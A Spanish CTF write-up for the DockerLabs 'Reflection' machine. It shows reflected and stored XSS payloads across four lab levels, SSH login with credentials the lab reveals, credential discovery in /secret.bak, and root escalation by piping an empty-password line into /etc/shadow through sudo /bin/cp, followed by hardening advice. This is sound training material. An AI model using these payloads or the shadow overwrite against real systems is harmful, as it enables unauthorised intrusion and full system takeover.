> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/refleciton.md).

# Reflection

## Introduccion

En este laboratorio de DockerLabs se trabaja una maquina enfocada en vulnerabilidades Cross-Site Scripting (XSS).

El objetivo es completar los distintos laboratorios web, obtener credenciales para SSH y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![Nmap](/files/uENhVSlvWZIGm9UfjBM2)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 9.2p1 Debian |
| 80/tcp | HTTP     | Apache httpd 2.4.62  |

Al acceder al servicio HTTP aparece un laboratorio de XSS con varios niveles.

![Laboratorio XSS](/files/xBb3PKlwWTJqNU4BMM9m)

***

## Laboratorio 1 - Reflected XSS

El primer nivel permite introducir un payload y reflejarlo en la misma pagina.

Se prueba un payload clasico usando una etiqueta `img` con `onerror`:

```html
<img src=x onerror=alert()>
```

![Payload reflejado](/files/kiRuUg1jRuyEt6Vpcszt)

Al enviarlo, el navegador ejecuta el JavaScript y aparece el `alert`.

![XSS reflejado](/files/pP9yctx3gT16TaXUjbCm)

***

## Laboratorio 2 - Stored XSS

El segundo nivel corresponde a un XSS almacenado. El contenido enviado queda guardado y se muestra posteriormente sin sanitizar.

Se introduce el mismo payload:

```html
<img src=x onerror=alert()>
```

![Stored XSS payload](/files/zkvE4z4GbsXgDS1YD029)

Al guardarlo, el payload se ejecuta cuando la pagina renderiza el mensaje almacenado.

![Stored XSS ejecutado](/files/vyGGpCpbLGiSWNoBA4sX)

***

## Laboratorio 3 - XSS en dropdowns

El tercer laboratorio utiliza menus desplegables. La propia pagina indica que se pueden interceptar o modificar los valores enviados para intentar inyectar el payload.

![XSS dropdowns](/files/Jp5whXUN1Axv2u2c6mJC)

Se modifica uno de los parametros enviados por GET para introducir el payload:

```
opcion1=<img src=x onerror=alert()>
```

![XSS dropdown ejecutado](/files/9ICJmMls0Ge2w8IsgW7W)

El valor se refleja sin escapar y se ejecuta JavaScript en el navegador.

***

## Laboratorio 4 - XSS por parametro GET

El cuarto nivel refleja directamente el contenido del parametro `data` recibido por URL.

![Laboratorio GET](/files/Zvt9NvGkEyDCg6xQDFwK)

Se prueba el payload en el parametro:

```
http://172.17.0.2/laboratorio4/?data=<img src=x onerror=alert()>
```

![XSS por GET](/files/mn8ml8s0lvcDu1lEcKPb)

Con los laboratorios completados, al pulsar el boton final aparece un mensaje con credenciales SSH.

![Credenciales SSH](/files/QsxSRj0JbSEPdlNJClfF)

Credenciales obtenidas:

```
Usuario: balu
Password: balulero
```

***

## Acceso inicial

Se accede por SSH con las credenciales obtenidas:

```bash
ssh balu@172.17.0.2
```

![SSH balu](/files/XnEdzySQynk6buuL78ee)

Se obtiene una shell como el usuario `balu`.

***

## Enumeracion interna

Se comprueban los permisos sudo del usuario:

```bash
sudo -l
```

El usuario `balu` no puede ejecutar comandos con sudo.

Despues se buscan binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

![Enumeracion interna](/files/WNKdOO4aA2q95q3zznEl)

Tambien se buscan archivos escribibles fuera de rutas habituales del sistema:

```bash
find / -writable -type f 2>/dev/null | grep -viE "var|proc|sys|home"
```

![Archivo escribible](/files/57bbevQXPEPgHEaHY5Az)

Se encuentra el archivo `/secret.bak`.

***

## Credenciales de otro usuario

Al leer el archivo se obtienen nuevas credenciales:

```bash
cat /secret.bak
```

![secret.bak](/files/Ojy2ZAo6awGx92aOyaCC)

Credenciales encontradas:

```
Usuario: balulito
Password: baluleorochingon
```

Se cambia al usuario `balulito`:

```bash
su balulito
```

![su balulito](/files/I6qkrY39UtohlOkxLzAD)

***

## Escalada de privilegios

Se revisan los permisos sudo del nuevo usuario:

```bash
sudo -l
```

![sudo -l balulito](/files/ijqPNek6JuSLjPm8WPUZ)

El usuario `balulito` puede ejecutar `/bin/cp` como cualquier usuario y sin password:

```
(ALL) NOPASSWD: /bin/cp
```

Esta configuracion permite sobrescribir archivos criticos del sistema. Se aprovecha para modificar `/etc/shadow` y dejar al usuario `root` sin password:

```bash
echo root::20080:0:99999:7::: | sudo /bin/cp /dev/stdin /etc/shadow
```

Despues se cambia a `root`:

```bash
su root
```

![Root](/files/X3AtEFy0auRxLkIH9cKg)

Se confirma el acceso con:

```bash
id
```

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Laboratorios XSS que exponen credenciales tras completar los retos
* Credenciales SSH reutilizables
* Archivo sensible `/secret.bak` accesible desde el sistema
* Regla `sudo` insegura que permite ejecutar `/bin/cp` como root

### Puntos clave

| Fase                | Tecnica                                    | Resultado                     |
| ------------------- | ------------------------------------------ | ----------------------------- |
| Reconocimiento      | Nmap                                       | SSH y HTTP expuestos          |
| Web                 | XSS reflejado, almacenado y por parametros | Laboratorios completados      |
| Credenciales        | Mensaje final del laboratorio              | Usuario `balu`                |
| Enumeracion interna | Lectura de `/secret.bak`                   | Usuario `balulito`            |
| Escalada            | Abuso de `sudo /bin/cp`                    | Modificacion de `/etc/shadow` |
| Root                | `su root`                                  | Shell como `root`             |

### Recomendaciones

* Sanitizar y escapar correctamente toda salida HTML
* Aplicar allowlists y codificacion de contexto en parametros reflejados
* No mostrar credenciales como recompensa en entornos reutilizables
* Evitar archivos sensibles accesibles por usuarios no privilegiados
* Revisar reglas `NOPASSWD` y no permitir binarios capaces de sobrescribir archivos criticos


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/refleciton.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
